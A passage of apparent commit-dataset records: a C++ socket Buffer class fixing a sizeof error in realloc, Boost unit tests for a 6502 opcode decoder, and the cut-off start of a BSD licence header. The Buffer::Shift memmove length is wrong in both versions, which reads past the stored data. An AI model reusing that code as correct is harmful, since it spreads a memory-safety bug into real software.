size;\n\treturn 0;\n}\n\n\/**\n * GetMaxSize\n *\n * This will return the maximum size the buffer can be.\n * 0 imposes no limit\n *\/\nsize_t Buffer::GetMaxSize()\n{\n\treturn m_max_size;\n}\n\n\/**\n * Shrink\n *\n * Cause the allocated memory to be shrunk to use the minimum amount of memory\n *\/\nbool Buffer::Shrink()\n{\n\treturn ReSize(m_buffer_used);\n}\n\n\/**\n * ReSize\n * @param[in] size The new size for the block of allocated memory\n *\n * Cause the allocated buffer memory to be resized\n *\/\nbool Buffer::ReSize(size_t newsize)\n{\n\tif (newsize < m_buffer_used)\n\t\tabort();\n\tif (m_max_size != 0 && newsize > m_max_size)\n\t\treturn false;\n\n\tchar *nbuf = (char *) realloc(m_buffer, newsize * sizeof(m_buffer));\n\tif (!nbuf)\n\t\treturn false;\n\tm_buffer = nbuf;\n\tm_buffer_length = newsize;\n\treturn true;\n}\n\n<commit_msg>Missing pointer de-reference<commit_after>\n#include <libclientserver.h>\n\nBuffer::Buffer()\n{\n\tm_buffer_length = 8192;\n\tm_chunk_size = 65535;\n\tm_buffer_used = 0;\n\tm_buffer = NULL;\n\tm_max_size = 0;\n}\n\nBuffer::~Buffer()\n{\n\tfree(m_buffer);\n}\n\n\/**\n * @Init\n *\n * One of the Init functions or overloads must be called before using any other function in the class\n *\/\nint Buffer::Init()\n{\n\tm_buffer = (char *) malloc(m_buffer_length * sizeof(*m_buffer));\n\tif (!m_buffer)\n\t\treturn -ENOMEM;\n\treturn 0;\n}\n\n\/**\n * @Init\n * @param[in] buflen This should be the initial size of memory allocated to the buffer\n *\n * One of the Init functions or overloads must be called before using any other function in the class\n *\/\nint Buffer::Init(size_t buflen)\n{\n\tm_buffer_length = buflen;\n\treturn Init();\n}\n\n\/**\n * @Read\n * @param[in] fd This should be the file descriptor to read from\n *\n * This function will attempt to read chunk size from the fd and populate the buffer contents with the data\n * If the buffer is going to exceed the max size it will return -ENOMEM\n * If the file has reached EOF -1 will be returned\n * If there is an error reading from the fd the approiate error code will be returned to indicte what the problem was.\n * In normal working cases without error's the length of the data read will be returned. This includes returning 0 if there was no data to read.\n *\/\nint Buffer::Read(int fd)\n{\n\tif (GetFreeSpace() < m_chunk_size)\n\t{\n\t\tif (ReSize(m_buffer_length + m_chunk_size) == false)\n\t\t{\n\t\t\treturn -ENOMEM;\n\t\t}\n\t}\n\n\tint ret = read(fd, m_buffer + m_buffer_used, m_chunk_size);\n\tif (ret < 0)\n\t{\n\t\tswitch(errno)\n\t\t{\n\t\t\tcase EAGAIN:\n\t\t\tcase EINTR:\n\t\t\t\treturn 0;\n\t\t\tdefault:\n\t\t\t\treturn -errno;\n\t\t}\n\t}\n\tif (ret == 0)\n\t\treturn -1;\n\tm_buffer_used += ret;\n\treturn ret;\n}\n\n\/**\n * Write\n * @param[in] fd The file descriptor to write to\n *\n * This function will attempt to write as much of the buffer as possible to the fd.\n * If an error occurs it will will return the approate error code to indicate what the error was.\n * If the function was able to write any data it will return the amount of data that was written to the fd\n *\/\nint Buffer::Write(int fd)\n{\n\tif (m_buffer_used == 0)\n\t\treturn 0;\n\n\tint ret = write(fd, m_buffer, m_buffer_used);\n\tif (ret > 0)\n\t{\n\t\tShift(ret);\n\t\treturn ret;\n\t}\n\tswitch(errno)\n\t{\n\t\tcase EAGAIN:\n\t\tcase EINTR:\n\t\t\treturn 0;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\treturn -errno;\n\t\t\tbreak;\n\t}\n\treturn -1;\n}\n\n\/**\n * WriteBuffered\n * @param[in] fd The file descriptor to write to\n * @param[in] buf The data to write\n * @param[in] length The amount of data to write from buf\n *\n * This functin will attempt to write as much data as it can to the file descriptor before it blocks.\n * Once it starts blocking it will then write the remaining part of the data to the buffer which can be written by calling Write(fd) later\n * If the initial write fails it will return the error that occured and will not attempt to write any data to either the fd or the buffer\n * If the buffers required more memory it is posisble for this function to file is there is a maximum buffer limit set. In which case it will fail with -NOBUFS\n * Under normal situations this function will always return the lgnth value passed\n *\/\nint Buffer::WriteBuffered(int fd, const char *buf, size_t length)\n{\n\tint ret = write(fd, buf, length);\n\tif (ret < 0)\n\t{\n\t\tswitch(errno)\n\t\t{\n\t\t\tcase EAGAIN:\n\t\t\tcase EINTR:\n\t\t\t\treturn PushData(buf, length);\n\t\t\tdefault:\n\t\t\t\treturn -errno;\n\t\t\t\tbreak;\n\t\t}\n\t}\n\tsize_t written = ret;\n\n\tif (written == length)\n\t\treturn length;\n\n\t\/\/Not all of it went to the socket to buffer it and say success to the caller\n\tret = PushData(&buf[written], length - written);\n\tif (ret < 0)\n\t\treturn ret;\n\tif ((size_t) ret != length - written)\n\t\treturn -ENOBUFS;\n\treturn length;\n}\n\n\/**\n * PushData\n * @param[in] buf The buffer to append the to the buffer contents\n * @param[in] length The length of the data\n *\n * This function will append the data to the buffer\n * It is possible to fail with eother a memory allocation issue or if the maxmimum buffer size is going to be exceeded\n *\/\nint Buffer::PushData(const char *buf, size_t length)\n{\n\tif (GetFreeSpace() < length)\n\t{\n\t\tif (ReSize(m_buffer_length + length) == false)\n\t\t{\n\t\t\treturn -ENOMEM;\n\t\t}\n\t}\n\tmemcpy(&m_buffer[m_buffer_used], buf, length);\n\tm_buffer_used += length;\n\treturn length;\n}\n\n\/**\n * PullData\n * @param[in] buf This will be populated by the data\n * @param[in] length The size of the buffer buf\n *\n * This function will read data from the front of the buffer and populate as much as possible in buf\n * If the passed buf is larger than the data stored in the buffer then the return value will indicate how much data was copied ot buf\n *\/\nint Buffer::PullData(char *buf, size_t length)\n{\n\tint len = length;\n\tif (m_buffer_used < length)\n\t\tlen = m_buffer_used;\n\tmemcpy(buf, m_buffer, len);\n\tShift(len);\n\treturn len;\n}\n\n\/**\n * Clear\n *\n * This function will mark the buffer as empty as if it has no data in it\n *\/\nvoid Buffer::Clear()\n{\n\tm_buffer_used = 0;\n}\n\n\/*\n * GetLine\n * @param[in] str This will be modified to contain the next line found in the buffer\n *\n * This function will attempt to scan the buffer and return the first line of text found in the buffer\n * If it finds a line of text then true will be returned. It will return false if it the buffer does nto contain a full line\n *\/\nbool Buffer::GetLine(std::string *str)\n{\n\treturn GetLine(str, '\\n');\n}\n\n\/*\n * GetLine\n * @param[in] str This will be modified to contain the next line found in the buffer\n * @param[in] term This will be used to specifiy the end of line marker to look for in the buffer\n *\n * This function will attempt to scan the buffer and return the first line of text found in the buffer\n * If it finds a line of text then true will be returned. It will return false if it the buffer does nto contain a full line\n *\/\nbool Buffer::GetLine(std::string *str, const char term)\n{\n\tif (GetDataLength() == 0)\n\t\treturn false;\n\n\tchar *lf = (char *) memchr(m_buffer, term, m_buffer_used);\n\tif (lf == NULL)\n\t\treturn false;\n\t*lf = 0; \/\/Add NULL Terminator\n\n\t*str = m_buffer;\n\n\tsize_t Offset = lf - m_buffer + 1;\n\tShift(Offset);\n\treturn true;\n}\n\n\/*\n * GetLine\n * @param[in] str This will be modified to contain the next line found in the buffer\n * @param[in] ending This will be used to specifiy the end of line marker to look for in the buffer\n *\n * This function will attempt to scan the buffer and return the first line of text found in the buffer\n * If it finds a line of text then true will be returned. It will return false if it the buffer does nto contain a full line\n *\/\nbool Buffer::GetLine(std::string *str, const std::string &ending)\n{\n\treturn GetLine(str, ending.c_str());\n}\n\n\/*\n * GetLine\n * @param[in] str This will be modified to contain the next line found in the buffer\n * @param[in] ending This will be used to specifiy the end of line marker to look for in the buffer\n *\n * This function will attempt to scan the buffer and return the first line of text found in the buffer\n * If it finds a line of text then true will be returned. It will return false if it the buffer does nto contain a full line\n *\/\nbool Buffer::GetLine(std::string *str, const char *ending)\n{\n\tif (GetDataLength() == 0)\n\t\treturn false;\n\n\tchar *lf = (char *) memmem(m_buffer, m_buffer_used, ending, strlen(ending));\n\tif (lf == NULL)\n\t\treturn false;\n\t*lf = 0; \/\/Add NULL Terminator\n\n\t*str = m_buffer;\n\n\tsize_t Offset = lf - m_buffer + 1;\n\tShift(Offset);\n\treturn true;\n}\n\n\/**\n * Shift\n * @param[in] size The amount of data to remove from the front of the buffer\n *\n * This will rmeove the size of bytes from the front of the buffer. If you attempt to remove more data that exists in the buffer abort will be called.\n *\/\nvoid Buffer::Shift(size_t size)\n{\n\tif (size == 0)\n\t\treturn;\n\tif (m_buffer_used == 0)\n\t\tabort();\n\tif (size > m_buffer_used)\n\t\tabort();\n\tif (size == m_buffer_used)\n\t{\n\t\tm_buffer_used = 0;\n\t\treturn;\n\t}\n\tmemmove(m_buffer, m_buffer + size, m_buffer_used);\n\tm_buffer_used -= size;\n}\n\n\/**\n * GetPtr\n *\n * This function return a raw value to a buffer. Beaware that calling other functions can invalidate this pointer as the memory block may be relocated to a different area.\n *\/\nvoid *Buffer::GetPtr()\n{\n\treturn m_buffer;\n}\n\n\/**\n * GetDataLength\n *\n * This function will return the number of bytes stored in the buffer\n *\/\nsize_t Buffer::GetDataLength()\n{\n\treturn m_buffer_used;\n}\n\n\/**\n * GetFreeSpace\n *\n * This function will return the number of free bytes in the buffer before the buffer would need to be expanded to use more data\n *\/\nsize_t Buffer::GetFreeSpace()\n{\n\treturn m_buffer_length - m_buffer_used;\n}\n\n\/**\n * GetTotalSpace\n *\n * This function returns the total space of the allocated buffer\n *\/\nsize_t Buffer::GetTotalSpace()\n{\n\treturn m_buffer_length;\n}\n\n\/**\n * SetChunkSize\n * @param[in] size Value to store\n *\n * After setting this value it will be used to perform io on the Read function when attempting to read data\n *\/\nvoid Buffer::SetChunkSize(size_t size)\n{\n\tm_chunk_size = size;\n}\n\n\/**\n * GetChunkSize\n *\n * Opposite of SetChunkSize\n *\/\nsize_t Buffer::GetChunkSize()\n{\n\treturn m_chunk_size;\n}\n\n\/**\n * SetMaxSize\n * @param[in] size Set the maximum size of the buffer\n *\n * This will set the enforced limit of how big the buffer can grow.\n * This function can fail if a limit is placed but there is currently data in the buffer bigger than the new limit\n * Calling with a value of 0 will impose no limit on the buffer and no reallocation will be attempted\n *\/\nint Buffer::SetMaxSize(size_t size)\n{\n\tif (size == 0)\n\t\tm_max_size = 0;\n\tif (m_buffer_length > size)\n\t{\n\t\tif (Shrink() == false)\n\t\t{\n\t\t\treturn -1;\n\t\t}\n\t}\n\tif (m_buffer_length > size)\n\t{\n\t\treturn -1;\n\t}\n\tm_max_size = size;\n\treturn 0;\n}\n\n\/**\n * GetMaxSize\n *\n * This will return the maximum size the buffer can be.\n * 0 imposes no limit\n *\/\nsize_t Buffer::GetMaxSize()\n{\n\treturn m_max_size;\n}\n\n\/**\n * Shrink\n *\n * Cause the allocated memory to be shrunk to use the minimum amount of memory\n *\/\nbool Buffer::Shrink()\n{\n\treturn ReSize(m_buffer_used);\n}\n\n\/**\n * ReSize\n * @param[in] size The new size for the block of allocated memory\n *\n * Cause the allocated buffer memory to be resized\n *\/\nbool Buffer::ReSize(size_t newsize)\n{\n\tif (newsize < m_buffer_used)\n\t\tabort();\n\tif (m_max_size != 0 && newsize > m_max_size)\n\t\treturn false;\n\n\tchar *nbuf = (char *) realloc(m_buffer, newsize * sizeof(*m_buffer));\n\tif (!nbuf)\n\t\treturn false;\n\tm_buffer = nbuf;\n\tm_buffer_length = newsize;\n\treturn true;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ MIT License\n\/\/\n\/\/ Copyright 2018-2019\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/\n#define BOOST_TEST_MODULE cpu_test\n\n#include <boost\/test\/unit_test.hpp>\n#include <variant>\n\n#include \"decode.hh\"\n#include \"disassemble.hh\"\n\nnamespace jde = jones::decode;\nnamespace jdi = jones::disassemble;\n\nnamespace {\n\nvoid check_instruction_invalid(const jde::instruction &instruction) {\n BOOST_CHECK(instruction.decoded_opcode.type == opcode_type::INVALID);\n BOOST_CHECK(instruction.decoded_opcode.value == 0);\n\n BOOST_CHECK(instruction.decoded_operand.type == operand_type::INVALID);\n BOOST_CHECK(std::get<uint8_t>(instruction.decoded_operand.value) == static_cast<uint8_t>(0x00));\n}\n\nvoid check_instruction_no_operand(const jde::instruction &instruction) {\n BOOST_CHECK(instruction.decoded_operand.type == operand_type::NONE);\n BOOST_CHECK(std::get<uint8_t>(instruction.decoded_operand.value) == static_cast<uint8_t>(0x00));\n}\n\n} \/\/ namespace\n\nBOOST_AUTO_TEST_CASE(cpu_test) { BOOST_CHECK(true); }\n\nBOOST_AUTO_TEST_CASE(disasemble_test_and_immediate) {\n\n uint8_t and_immediate[] = {0x29, 0x2C};\n\n const auto instructions = jdi::disassemble(and_immediate, sizeof(and_immediate));\n BOOST_CHECK(instructions.instructions.size() == 1);\n\n const auto &first_instruction = instructions.instructions[0];\n BOOST_CHECK(first_instruction == \"AND #$2C\");\n}\n\n\/\/\n\/\/ Test: Decodes an instruction that is too small. In this case, an empty instruction.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_invalid_instruction_too_small) {\n\n uint8_t empty_instruction[] = {};\n\n const auto instruction = jde::decode(empty_instruction, sizeof(empty_instruction));\n check_instruction_invalid(instruction);\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x00.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x00_brk_instruction_valid) {\n\n uint8_t brk_instruction[] = {0x00};\n\n const auto instruction = jde::decode(brk_instruction, sizeof(brk_instruction));\n BOOST_CHECK(instruction.decoded_opcode.type == opcode_type::BRK);\n BOOST_CHECK(instruction.decoded_opcode.value == 0x00);\n check_instruction_no_operand(instruction);\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x01 with operand value set to 0xFF\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x01_ora_instruction_valid) {\n\n uint8_t ora_instruction[] = {0x01, 0xFF};\n\n const auto instruction = jde::decode(ora_instruction, sizeof(ora_instruction));\n BOOST_CHECK(instruction.decoded_opcode.type == opcode_type::ORA);\n BOOST_CHECK(instruction.decoded_opcode.value == 0x01);\n BOOST_CHECK(instruction.decoded_operand.type == operand_type::MEMORY);\n BOOST_CHECK(std::get<uint8_t>(instruction.decoded_operand.value) == static_cast<uint8_t>(0xFF));\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x01 with missing operand value.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x01_ora_instruction_invalid_too_small) {\n\n uint8_t ora_instruction[] = {0x01};\n\n const auto instruction = jde::decode(ora_instruction, sizeof(ora_instruction));\n check_instruction_invalid(instruction);\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x02.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x02_stp_instruction_valid) {\n\n uint8_t stp_instruction[] = {0x02};\n\n const auto instruction = jde::decode(stp_instruction, sizeof(stp_instruction));\n BOOST_CHECK(instruction.decoded_opcode.type == opcode_type::STP);\n BOOST_CHECK(instruction.decoded_opcode.value == 0x02);\n check_instruction_no_operand(instruction);\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x03 with operand value set to 0xFF.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x03_slo_instruction_valid) {\n\n uint8_t slo_instruction[] = {0x03, 0xFF};\n\n const auto instruction = jde::decode(slo_instruction, sizeof(slo_instruction));\n BOOST_CHECK(instruction.decoded_opcode.type == opcode_type::SLO);\n BOOST_CHECK(instruction.decoded_opcode.value == 0x03);\n BOOST_CHECK(instruction.decoded_operand.type == operand_type::MEMORY);\n BOOST_CHECK(std::get<uint8_t>(instruction.decoded_operand.value) == static_cast<uint8_t>(0xFF));\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x03 with missing operand value.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x03_slo_instruction_invalid_too_small) {\n\n uint8_t slo_instruction[] = {0x03};\n\n const auto instruction = jde::decode(slo_instruction, sizeof(slo_instruction));\n check_instruction_invalid(instruction);\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x04 with operand value set to 0xFF.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x04_nop_instruction_valid) {\n\n uint8_t nop_instruction[] = {0x04, 0xFF};\n\n const auto instruction = jde::decode(nop_instruction, sizeof(nop_instruction));\n BOOST_CHECK(instruction.decoded_opcode.type == opcode_type::NOP);\n BOOST_CHECK(instruction.decoded_opcode.value == 0x04);\n BOOST_CHECK(instruction.decoded_operand.type == operand_type::MEMORY);\n BOOST_CHECK(std::get<uint8_t>(instruction.decoded_operand.value) == static_cast<uint8_t>(0xFF));\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x04 with missing operand type.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x04_nop_instruction_invalid_too_small) {\n\n uint8_t nop_instruction[] = {0x04};\n\n const auto instruction = jde::decode(nop_instruction, sizeof(nop_instruction));\n check_instruction_invalid(instruction);\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x05 with operand value set to 0xFF\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x05_ora_instruction_valid) {\n\n uint8_t ora_instruction[] = {0x05, 0xFF};\n\n const auto instruction = jde::decode(ora_instruction, sizeof(ora_instruction));\n BOOST_CHECK(instruction.decoded_opcode.type == opcode_type::ORA);\n BOOST_CHECK(instruction.decoded_opcode.value == 0x05);\n BOOST_CHECK(instruction.decoded_operand.type == operand_type::MEMORY);\n BOOST_CHECK(std::get<uint8_t>(instruction.decoded_operand.value) == static_cast<uint8_t>(0xFF));\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x05 with missing operand value.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x05_ora_instruction_invalid_too_small) {\n\n uint8_t ora_instruction[] = {0x05};\n\n const auto instruction = jde::decode(ora_instruction, sizeof(ora_instruction));\n check_instruction_invalid(instruction);\n}\n<commit_msg>adding more unit tests<commit_after>\/\/\n\/\/ MIT License\n\/\/\n\/\/ Copyright 2018-2019\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/\n#define BOOST_TEST_MODULE cpu_test\n\n#include <boost\/test\/unit_test.hpp>\n#include <variant>\n\n#include \"decode.hh\"\n#include \"disassemble.hh\"\n\nnamespace jde = jones::decode;\nnamespace jdi = jones::disassemble;\n\nnamespace {\n\nvoid check_instruction_invalid(const jde::instruction &instruction) {\n BOOST_CHECK(instruction.decoded_opcode.type == opcode_type::INVALID);\n BOOST_CHECK(instruction.decoded_opcode.value == 0);\n\n BOOST_CHECK(instruction.decoded_operand.type == operand_type::INVALID);\n BOOST_CHECK(std::get<uint8_t>(instruction.decoded_operand.value) == static_cast<uint8_t>(0x00));\n}\n\nvoid check_instruction_no_operand(const jde::instruction &instruction) {\n BOOST_CHECK(instruction.decoded_operand.type == operand_type::NONE);\n BOOST_CHECK(std::get<uint8_t>(instruction.decoded_operand.value) == static_cast<uint8_t>(0x00));\n}\n\n} \/\/ namespace\n\nBOOST_AUTO_TEST_CASE(cpu_test) { BOOST_CHECK(true); }\n\nBOOST_AUTO_TEST_CASE(disasemble_test_and_immediate) {\n\n uint8_t and_immediate[] = {0x29, 0x2C};\n\n const auto instructions = jdi::disassemble(and_immediate, sizeof(and_immediate));\n BOOST_CHECK(instructions.instructions.size() == 1);\n\n const auto &first_instruction = instructions.instructions[0];\n BOOST_CHECK(first_instruction == \"AND #$2C\");\n}\n\n\/\/\n\/\/ Test: Decodes an instruction that is too small. In this case, an empty instruction.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_invalid_instruction_too_small) {\n\n uint8_t empty_instruction[] = {};\n\n const auto instruction = jde::decode(empty_instruction, sizeof(empty_instruction));\n check_instruction_invalid(instruction);\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x00.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x00_brk_instruction_valid) {\n\n uint8_t brk_instruction[] = {0x00};\n\n const auto instruction = jde::decode(brk_instruction, sizeof(brk_instruction));\n BOOST_CHECK(instruction.decoded_opcode.type == opcode_type::BRK);\n BOOST_CHECK(instruction.decoded_opcode.value == 0x00);\n check_instruction_no_operand(instruction);\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x01 with operand value set to 0xFF\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x01_ora_instruction_valid) {\n\n uint8_t ora_instruction[] = {0x01, 0xFF};\n\n const auto instruction = jde::decode(ora_instruction, sizeof(ora_instruction));\n BOOST_CHECK(instruction.decoded_opcode.type == opcode_type::ORA);\n BOOST_CHECK(instruction.decoded_opcode.value == 0x01);\n BOOST_CHECK(instruction.decoded_operand.type == operand_type::MEMORY);\n BOOST_CHECK(std::get<uint8_t>(instruction.decoded_operand.value) == static_cast<uint8_t>(0xFF));\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x01 with missing operand value.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x01_ora_instruction_invalid_too_small) {\n\n uint8_t ora_instruction[] = {0x01};\n\n const auto instruction = jde::decode(ora_instruction, sizeof(ora_instruction));\n check_instruction_invalid(instruction);\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x02.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x02_stp_instruction_valid) {\n\n uint8_t stp_instruction[] = {0x02};\n\n const auto instruction = jde::decode(stp_instruction, sizeof(stp_instruction));\n BOOST_CHECK(instruction.decoded_opcode.type == opcode_type::STP);\n BOOST_CHECK(instruction.decoded_opcode.value == 0x02);\n check_instruction_no_operand(instruction);\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x03 with operand value set to 0xFF.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x03_slo_instruction_valid) {\n\n uint8_t slo_instruction[] = {0x03, 0xFF};\n\n const auto instruction = jde::decode(slo_instruction, sizeof(slo_instruction));\n BOOST_CHECK(instruction.decoded_opcode.type == opcode_type::SLO);\n BOOST_CHECK(instruction.decoded_opcode.value == 0x03);\n BOOST_CHECK(instruction.decoded_operand.type == operand_type::MEMORY);\n BOOST_CHECK(std::get<uint8_t>(instruction.decoded_operand.value) == static_cast<uint8_t>(0xFF));\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x03 with missing operand value.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x03_slo_instruction_invalid_too_small) {\n\n uint8_t slo_instruction[] = {0x03};\n\n const auto instruction = jde::decode(slo_instruction, sizeof(slo_instruction));\n check_instruction_invalid(instruction);\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x04 with operand value set to 0xFF.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x04_nop_instruction_valid) {\n\n uint8_t nop_instruction[] = {0x04, 0xFF};\n\n const auto instruction = jde::decode(nop_instruction, sizeof(nop_instruction));\n BOOST_CHECK(instruction.decoded_opcode.type == opcode_type::NOP);\n BOOST_CHECK(instruction.decoded_opcode.value == 0x04);\n BOOST_CHECK(instruction.decoded_operand.type == operand_type::MEMORY);\n BOOST_CHECK(std::get<uint8_t>(instruction.decoded_operand.value) == static_cast<uint8_t>(0xFF));\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x04 with missing operand type.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x04_nop_instruction_invalid_too_small) {\n\n uint8_t nop_instruction[] = {0x04};\n\n const auto instruction = jde::decode(nop_instruction, sizeof(nop_instruction));\n check_instruction_invalid(instruction);\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x05 with operand value set to 0xFF\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x05_ora_instruction_valid) {\n\n uint8_t ora_instruction[] = {0x05, 0xFF};\n\n const auto instruction = jde::decode(ora_instruction, sizeof(ora_instruction));\n BOOST_CHECK(instruction.decoded_opcode.type == opcode_type::ORA);\n BOOST_CHECK(instruction.decoded_opcode.value == 0x05);\n BOOST_CHECK(instruction.decoded_operand.type == operand_type::MEMORY);\n BOOST_CHECK(std::get<uint8_t>(instruction.decoded_operand.value) == static_cast<uint8_t>(0xFF));\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x05 with missing operand value.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x05_ora_instruction_invalid_too_small) {\n\n uint8_t ora_instruction[] = {0x05};\n\n const auto instruction = jde::decode(ora_instruction, sizeof(ora_instruction));\n check_instruction_invalid(instruction);\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x06 with operand value set to 0xFF\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x06_asl_instruction_valid) {\n\n uint8_t asl_instruction[] = {0x06, 0xFF};\n\n const auto instruction = jde::decode(asl_instruction, sizeof(asl_instruction));\n BOOST_CHECK(instruction.decoded_opcode.type == opcode_type::ASL);\n BOOST_CHECK(instruction.decoded_opcode.value == 0x06);\n BOOST_CHECK(instruction.decoded_operand.type == operand_type::MEMORY);\n BOOST_CHECK(std::get<uint8_t>(instruction.decoded_operand.value) == static_cast<uint8_t>(0xFF));\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x06 with missing operand value.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x06_asl_instruction_invalid_too_small) {\n\n uint8_t asl_instruction[] = {0x06};\n\n const auto instruction = jde::decode(asl_instruction, sizeof(asl_instruction));\n check_instruction_invalid(instruction);\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x07 with operand value set to 0xFF\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x07_slo_instruction_valid) {\n\n uint8_t slo_instruction[] = {0x07, 0xFF};\n\n const auto instruction = jde::decode(slo_instruction, sizeof(slo_instruction));\n BOOST_CHECK(instruction.decoded_opcode.type == opcode_type::SLO);\n BOOST_CHECK(instruction.decoded_opcode.value == 0x07);\n BOOST_CHECK(instruction.decoded_operand.type == operand_type::MEMORY);\n BOOST_CHECK(std::get<uint8_t>(instruction.decoded_operand.value) == static_cast<uint8_t>(0xFF));\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x07 with missing operand value.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x07_slo_instruction_invalid_too_small) {\n\n uint8_t slo_instruction[] = {0x07};\n\n const auto instruction = jde::decode(slo_instruction, sizeof(slo_instruction));\n check_instruction_invalid(instruction);\n}\n\n\/\/\n\/\/ Test: Decodes opcode value 0x08.\n\/\/\nBOOST_AUTO_TEST_CASE(decode_0x08_php_instruction_valid) {\n\n uint8_t php_instruction[] = {0x08, 0xFF};\n\n const auto instruction = jde::decode(php_instruction, sizeof(php_instruction));\n BOOST_CHECK(instruction.decoded_opcode.type == opcode_type::PHP);\n BOOST_CHECK(instruction.decoded_opcode.value == 0x08);\n check_instruction_no_operand(instruction);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2011 Isaac W. Foraker, all rights reserved.\n * \n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * \n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * \n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n * \n * 3. Neither the name of the Author nor the names of its contributors\n * may be used to endorse or promote products derived from this\n * software without specific prior written permission.\n * \n * THIS SOFTWARE AND DOCUMENTATION IS PROVIDED BY THE AUTHOR AND\n * CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,\n * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n * FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * AUTHOR 